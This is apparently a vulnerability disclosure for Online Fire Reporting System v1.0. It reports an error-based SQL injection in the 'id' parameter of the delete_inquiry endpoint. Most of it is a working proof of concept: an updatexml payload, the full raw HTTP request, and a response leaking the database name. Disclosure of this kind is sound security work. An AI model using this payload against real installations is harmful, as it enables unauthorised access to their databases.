

main

...

bug_report / vendors / oretnom23 / online-fire-reporting-system / SQLi-5.md



debug601 Create SQLi-5.md

History

1 contributor

27 lines (20 sloc) | 1.03 KB

...

Online Fire Reporting System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html>

Vulnerability File: /ofrs/classes/Master.php?f=delete_inquiry

Vulnerability location: /ofrs/classes/Master.php?f=delete_inquiry, id

[+] Payload: id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /ofrs/classes/Master.php?f=delete_inquiry HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
```

id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

POST /ofrs/classes/Master.php?f=delete_inquiry HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

id=6' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

HTTP/1.1 200 OK
Date: Sat, 28 May 2022 08:14:01 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 61
Connection: close
Content-Type: text/html; charset=UTF-8

{"status": "failed", "error": "XPath syntax error: '~ofrs_db~'"}